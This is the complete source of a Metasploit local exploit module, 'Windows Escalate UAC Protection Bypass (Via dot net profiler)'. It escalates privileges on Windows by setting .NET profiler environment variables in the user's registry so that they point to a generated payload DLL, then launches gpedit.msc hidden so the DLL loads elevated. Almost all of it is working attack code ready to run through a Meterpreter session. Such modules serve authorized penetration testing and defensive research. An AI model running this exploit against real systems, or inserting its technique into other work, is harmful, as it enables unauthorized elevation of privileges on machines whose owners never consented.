Windows Escalate UAC Protection Bypass Via Dot Net Profiler

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Post::Windows::Priv  
include Post::Windows::Runas  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)',  
'Description' => %q(  
Microsoft Windows allows for the automatic loading of a profiling COM object during  
the launch of a CLR process based on certain environment variables ostensibly to  
monitor execution. In this case, we abuse the profiler by pointing to a payload DLL  
that will be launched as the profiling thread. This thread will run at the permission  
level of the calling process, so an auto-elevating process will launch the DLL with  
elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR  
process, but others would work, too.  
),  
'License' => MSF_LICENSE,  
'Author' => [  
'Casey Smith', # UAC bypass discovery and research  
'"Stefan Kanthak" <stefan.kanthak () nexgo de>', # UAC bypass discovery and research  
'bwatters-r7', # Module  
],  
'Platform' => ['win'],  
'SessionTypes' => ['meterpreter'],  
'Targets' => [  
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]  
],  
'DefaultTarget' => 0,  
'Notes' =>  
{  
'SideEffects' => [ ARTIFACTS_ON_DISK ]  
},  
'References' =>  
[  
['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'],  
['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html']  
],  
'DisclosureDate' => 'Mar 17 2017'  
)  
)  
register_options(  
[OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])]  
)  
  
end  
  
def check  
if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled?  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def write_reg_value(registry_hash)  
vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}")  
begin  
if not registry_key_exist?(registry_hash[:key_name])  
registry_createkey(registry_hash[:key_name])  
registry_hash[:delete_on_cleanup] = true  
else  
registry_hash[:delete_on_cleanup] = false  
end  
registry_setvaldata(registry_hash[:key_name], \  
registry_hash[:value_name], \  
registry_hash[:value_value], \  
registry_hash[:value_type])  
rescue Rex::Post::Meterpreter::RequestError => e  
print_error(e.to_s)  
end  
end  
  
def remove_reg_value(registry_hash)  
# we may have already deleted the key  
return unless registry_key_exist?(registry_hash[:key_name])  
begin  
if registry_hash[:delete_on_cleanup]  
vprint_status("Deleting #{registry_hash[:key_name]} key")  
registry_deletekey(registry_hash[:key_name])  
else  
vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key")  
registry_deleteval(registry_hash[:key_name], registry_hash[:value_name])  
end  
rescue Rex::Post::Meterpreter::RequestError => e  
print_bad("Unable to clean up registry")  
print_error(e.to_s)  
end  
end  
  
def exploit  
check_permissions!  
case get_uac_level  
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,  
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,  
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT  
fail_with(Failure::NotVulnerable,  
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")  
when UAC_DEFAULT  
print_good('UAC is set to Default')  
print_good('BypassUAC can bypass this setting, continuing...')  
when UAC_NO_PROMPT  
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')  
shell_execute_exe  
return  
end  
  
# get directory locations straight  
win_dir = session.sys.config.getenv('windir')  
vprint_status("win_dir = " + win_dir)  
tmp_dir = session.sys.config.getenv('tmp')  
vprint_status("tmp_dir = " + tmp_dir)  
exploit_dir = win_dir + "\\System32\\"  
vprint_status("exploit_dir = " + exploit_dir)  
target_filepath = exploit_dir + "gpedit.msc"  
vprint_status("target_filepath = " + target_filepath)  
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll'  
payload_pathname = tmp_dir + '\\' + payload_name  
  
# make payload  
vprint_status("Making Payload")  
vprint_status("payload_pathname = " + payload_pathname)  
payload = generate_payload_dll  
  
uuid = SecureRandom.uuid  
vprint_status("UUID = #{uuid}")  
reg_keys = []  
# This reg key will not hurt anything in windows 10+, but is not required.  
unless sysinfo['OS'] =~ /Windows (2016|10)/  
reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32",  
value_name: '',  
value_type: "REG_EXPAND_SZ",  
value_value: payload_pathname,  
delete_on_cleanup: false)  
end  
reg_keys.push(key_name: "HKCU\\Environment",  
value_name: "COR_PROFILER",  
value_type: "REG_SZ",  
value_value: "{#{uuid}}",  
delete_on_cleanup: false)  
reg_keys.push(key_name: "HKCU\\Environment",  
value_name: "COR_ENABLE_PROFILING",  
value_type: "REG_SZ",  
value_value: "1",  
delete_on_cleanup: false)  
reg_keys.push(key_name: "HKCU\\Environment",  
value_name: "COR_PROFILER_PATH",  
value_type: "REG_SZ",  
value_value: payload_pathname,  
delete_on_cleanup: false)  
reg_keys.each do |key_hash|  
write_reg_value(key_hash)  
end  
  
# Upload payload  
vprint_status("Uploading Payload to #{payload_pathname}")  
write_file(payload_pathname, payload)  
vprint_status("Payload Upload Complete")  
  
vprint_status("Launching " + target_filepath)  
begin  
session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true)  
rescue Rex::Post::Meterpreter::RequestError => e  
print_error(e.to_s)  
end  
print_warning("This exploit requires manual cleanup of '#{payload_pathname}!")  
# wait for a few seconds before cleaning up  
print_status("Please wait for session and cleanup....")  
sleep(20)  
vprint_status("Removing Registry Changes")  
reg_keys.each do |key_hash|  
remove_reg_value(key_hash)  
end  
vprint_status("Registry Changes Removed")  
end  
  
def check_permissions!  
unless check == Exploit::CheckCode::Appears  
fail_with(Failure::NotVulnerable, "Target is not vulnerable.")  
end  
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?  
# Check if you are an admin  
# is_in_admin_group can be nil, true, or false  
print_status('UAC is Enabled, checking level...')  
vprint_status('Checking admin status...')  
admin_group = is_in_admin_group?  
if admin_group.nil?  
print_error('Either whoami is not there or failed to execute')  
print_error('Continuing under assumption you already checked...')  
else  
if admin_group  
print_good('Part of Administrators group! Continuing...')  
else  
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')  
end  
end  
  
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]  
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')  
end  
end  
end  
`